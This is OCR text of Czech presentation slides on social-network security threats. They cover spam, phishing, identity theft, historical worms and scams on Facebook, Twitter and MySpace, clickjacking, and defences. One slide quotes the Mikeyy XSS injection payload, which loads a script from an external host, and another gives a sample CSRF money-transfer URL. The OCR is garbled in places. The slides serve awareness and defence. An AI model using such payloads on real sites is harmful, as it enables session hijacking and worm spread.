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Facebook
= > 500 mil. registrovanych uzivatel(???
= SSL zavedeno v lednu 2011

MySpace

= Jeden z prukopniku socidlnich siti

= Benevolentni k modifikacim osobniho profilu
Mixi

= > 20 mil. registrovanych uzivatel( - JaponcU

Orkut
= Socidlni sit od Google Inc. Populdrni hlavné v Brazilii a Indii

Twitter
= Mikroblogovaci sluzba/socialni sit s cca 100 mil. uzivatel(

LinkedIn
= Socidlni sit orientovand na profesni vztahy
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Hrozby souvisejici se socialnimi sitemi

Siteni SPAMu
Phishing Spam reports 57%

Sireni Malware

Kradez identity
= R0zné ucely vyuziti —
pfistup k citlivym ddajim, Phishing 30%
SPAM, Malware o
Zneuziti osobnich udaju

= Napfriklad k dtokdm na
zameéstnance firmy pomoci Malware 36%
socialniho inzenyrstvi

Scam 419
Ztrata produktivity :-)
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Metody sireni Malware

Manual script attacks
= Priklad: Facebook, 2009 — 2010 ,,Find your facebook twin”
= Napadeny stovky tisic uzivatelU sité Facebook

= |Instrukce:
1. Click the Like button (Timto dojde k vytvofeni zdznamu na profilu uZivatele)
2. Press CTRL+C
3. Press ALT+D . .
4. Press CTRL+V 4 Please Follow The Instructions Below
5. Press ENTER

press *anp*HoLD CTRL

*AND* Press the Letter C
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Metody sireni Malware

Cross-site scripting (XSS)
= Priklad: Twitter, duben 2009 ,Mikeyy worm”
= Napadeno 18 000 uzivatel(

= Chyba v pouziti CSS:

Normalni tag:
<style type="text/css”> a { color: #0000ff; } </style>

Modifikovany tag s vlozenym kédem:
<style type="text/css”> a { color: # </style>mikeyy:)“></a>
<script src=http://mikeyylolzxyzcom/x.js> </script>

= Vyuziti :
Siteni odkazC na Malware
Unaseni relace
XSS Proxy
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Metody sireni Malware

Cross-site request forgery (CSRF)
= Priklad: MySpace, rok 2005 ,Samy is my hero”
= Napaden milion uzivatell béhem prvnich 20 hodin

Priklad vyuziti CSRF:
= https://www.superbanka.com/sendmoney.jsp
?ucet=12345&castka=1000

T
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Metody sireni Malware

Clickjacking (Ul Redressing)

= Priklad: Facebook, zari 2010
,LOL This girl gets OWNED after a POLICE OFFICER reads her STATUS MESSAGE.”
,This man takes a picture of himself EVERYDAY for 8 YEARS!!,
,The Prom Dress That Got This Girl Suspended From School.”

Are You Human ?
To prove click on RED box and then on BLUE box
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Dalsi trendy v oblasti zneuziti socialnich siti

Velké socialni sité vyuzivaji mocné APl pro preneseni rozvoje
sité na (nedlvéryhodné) externi subjekty.

Facebook se stava platformou pro webové aplikace tretich
stran.

Malware vyuziva socialnich siti jako vysoce dostupné
Command & Control centrum.
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Jak se branit ?

Vzdélavani uzivatelu !!!

Technické prostredky
= Aktudlni software (prohlizec, pluginy, operacni systém, antivir)
= Plugin NoScript
= Komplexni systémy ochrany: WAF, DLP a dalsi.

Blokovani Socialnich siti — dlouhodobé neudrzitelné reseni
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Déekujeme za pozornost.

PROSTOR

s PRO OTAZKY

Michal Tresner
AEC, spol. sr. o.
michal.tresner@aec.cz




